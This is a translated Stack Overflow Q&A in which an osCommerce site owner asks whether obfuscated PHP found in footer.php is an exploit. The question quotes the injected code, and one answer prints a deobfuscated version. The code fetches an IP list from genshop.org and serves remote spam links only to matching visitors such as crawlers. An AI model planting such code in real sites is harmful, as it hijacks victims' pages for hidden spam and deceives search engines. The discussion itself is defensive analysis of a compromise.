这段代码是漏洞利用吗?这段代码是什么?

5
我正在查看一个被某人/某物利用的网站。该网站的页脚中注入了大量指向药品销售等内容的链接,以及其他不知名的链接。在页脚顶部有很多链接。现在我只能在Yahoo索引的缓存页面上找到它们。虽然现在实时网站不再显示任何链接,但谷歌仍对该网站不满意。这是为客户服务的,所以我大部分只知道我被告知的和我自己找到的信息。

我在footer.php的最顶端发现了这段代码(这是一个OsCommerce网站):

<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m"; 
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>

当我查看缓存页面的源代码时,发现有“坏”链接,这段代码就在footer.php源代码中。通过谷歌的一些研究表明,存在类似代码的漏洞。
你认为呢?当我在自己的服务器上运行它时,只会在源代码中得到回显的评论,如下所示:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 -->

我不想匆忙地删除代码并说“你做得很好”,仅仅因为它看起来很糟糕,特别是因为我没有立即知道“坏链接”是否已经消失。顺便说一下,所有链接都指向一个无效的URL。

您可以在Yahoo上看到仍然缓存的错误页面: http://74.6.117.48/search/srpcache?ei=UTF-8&p=http%3A%2F%2Fwww.feedroller.com%2F+medicine&fr=yfp-t-701&u=http://cc.bingj.com/cache.aspx?q=http%3a%2f%2fwww.feedroller.com%2f+medicine&d=4746458759365253&mkt=en-US&setlang=en-US&w=b97b0175,d5f14ae5&icp=1&.intl=us&sig=Ifqk1OuvHXNcZnGgPR9PbA--


这只是一段加密的数据。 - Racooon
是的,这是利用代码。它被故意混淆以使人们难以看出其功能。一旦您通过混淆层,它将简化为类似于 eval($do_something_nasty) 的东西。 - Marc B
4
echo -n 'primitive' | md5 # => 069c5b4fe5027f9b37de31d2be5eac67 :)这是一条命令行指令,将字符串"primitive"作为输入,经过md5哈希处理后输出结果为:"069c5b4fe5027f9b37de31d2be5eac67"。 - zoul
@marc 我想这是一种“混淆”的尝试,这也是让我注意到它的部分原因。我将删除它,看看是否可以使事情更加顺畅。谢谢。 - rhaag71
3个回答

3

2
这是未混淆的脚本(或多或少)。
它只是将this url的内容倾倒到您的页面上。
它还检查remote_addr是否与list of IPs(如Google等)匹配,以尝试保持不被发现。
看起来你正在受到genshop.com的攻击。
<?php

 $count="cou\156\x74"; // count 
 $error_reporting="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; // error_reporting
 $file="\146\151l\x65"; // file
 $file_get_contents="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; // file_get_contents
 $strlen="\163\x74rle\156"; // strlen
 $strpos="\163tr\160o\x73"; // strpos
 $substr="su\x62\x73\164\162"; // substr
 $trim="tr\151m"; //trim

ini_set(' display_errors','off');
$error_reporting(0);

$x0b = "http://genshop.org/scripts/mask.txt";
$url = $x0b;
$tmp = "REMOTE_ADDR";
$x0d = $_SERVER[$tmp];
$tmp_filename = "http://genshop.org/paralinks/new/3/feedroller.com.txt";

$IPs = @ $file($url);
for ( $i = 0; $i < $count($IPs); $i++ ) {
    $curr_ip = $trim($ips[$i]);
        if ( $curr_ip != "" ) {
            if ( ($x11 = $strpos($curr_ip, "*")) !== false )
                $curr_ip = $substr($curr_ip, 0,$x11);

            // check visitor ip against mask list
            if ( $strlen($curr_ip) <= $strlen($x0d) && $strpos($x0d, $curr_ip) === 0 ) {
                $x12 = $file_get_content($tmp_filename);
                echo "$x12";
                // print spam contents
            }
        }
    }
echo $curr_ip;
}

$tmp2 = "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";
echo $tmp2;
?>

他们如何将其放入源代码中?这只是文件权限不当的情况还是托管不当的情况,还是两者都有? - rhaag71
我的猜测是你的某个脚本在向你的磁盘写入数据,并且存在漏洞。也许是上传脚本或一些现成的CGI修改了文件系统?你是否在任何地方运行exec()或system()?通过更好的权限可以解决,但最好找到并关闭漏洞。 - David Chan
程序相关内容的翻译:利用代码总是很奇怪...注意到他们有额外的代码来修复掩码 IP 列表中的星号...为什么不只是修改 mask.txt 文件呢?哈哈。 - David Chan
谢谢,我得看看它。这不是我的网站,我只是因为漏洞而在今天早上看了一眼。这是一个OsCommerce网站,所以'exec()'或'system()'很可能存在。管理员部分显示所有文件并允许进行许多操作...作为起点。 - rhaag71
1
啊,如果他们正在使用打包软件,那么我会首先检查OsCommerce的安全通知。他们可能已经知道了这个问题并且有解决方法。 - David Chan
显示剩余2条评论

2

这很可能是一次试图获取您的运行配置信息的企图。请立即删除。

它的工作原理非常复杂,我无法理解,但这是黑客入侵您网站的第一步。


谢谢你的回答,这个问题对我来说也有些超出了。我会把它删除并稍后再回来。我想我会浏览所有的源代码并尝试找到更多信息。谢谢。 - rhaag71
@rhaag71,你最好也更改一下FTP和任何服务器登录密码,否则同一个人可能会再次回来。 - Jordan

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接